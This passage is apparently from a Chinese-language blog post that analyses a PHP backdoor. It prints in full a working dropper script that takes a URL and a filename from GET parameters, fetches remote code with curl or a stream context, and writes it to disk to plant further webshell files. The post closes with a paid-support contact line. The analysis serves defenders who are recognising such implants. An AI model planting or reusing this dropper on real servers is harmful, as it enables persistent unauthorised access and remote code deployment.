这段代码的核心逻辑就是通过 HTTP 请求接收参数中的 url
及其它信息,然后通过 curl
或 stream_context_create
获取 url 返回的代码,并写入到指定的文件中,从而实现后门入口文件的写入。
对于使用 stream_context_create
来进行 HTTP 请求,在正常的项目开发中确实也很少见。
<?php
set_time_limit(0);
if(isset($_GET['url']) && isset($_GET['filename'])){if(httpcopy($_GET['url'], $_GET['filename'])){echo("Done.");
}else{echo("Down Error.");
}
}else{die('Input error.');
}
function httpcopy($url, $file="", $timeout=60) {$file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;
$dir = pathinfo($file,PATHINFO_DIRNAME);
!is_dir($dir) && @mkdir($dir,0755,true);
$url = str_replace("","%20",$url);
if(function_exists('curl_init')) {
echo "curl";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$temp = curl_exec($ch);
if(@file_put_contents($file, $temp) && !curl_error($ch)) {return $file;} else {return false;}
} else {
echo "copy";
$opts = array(
"http"=>array(
"method"=>"GET",
"header"=>"","timeout"=>$timeout)
);
$context = stream_context_create($opts);
if(@copy($url, $file, $context)) {
//$http_response_header
return $file;
} else {return false;}
}
}
?>
正文完
有偿技术支持加微信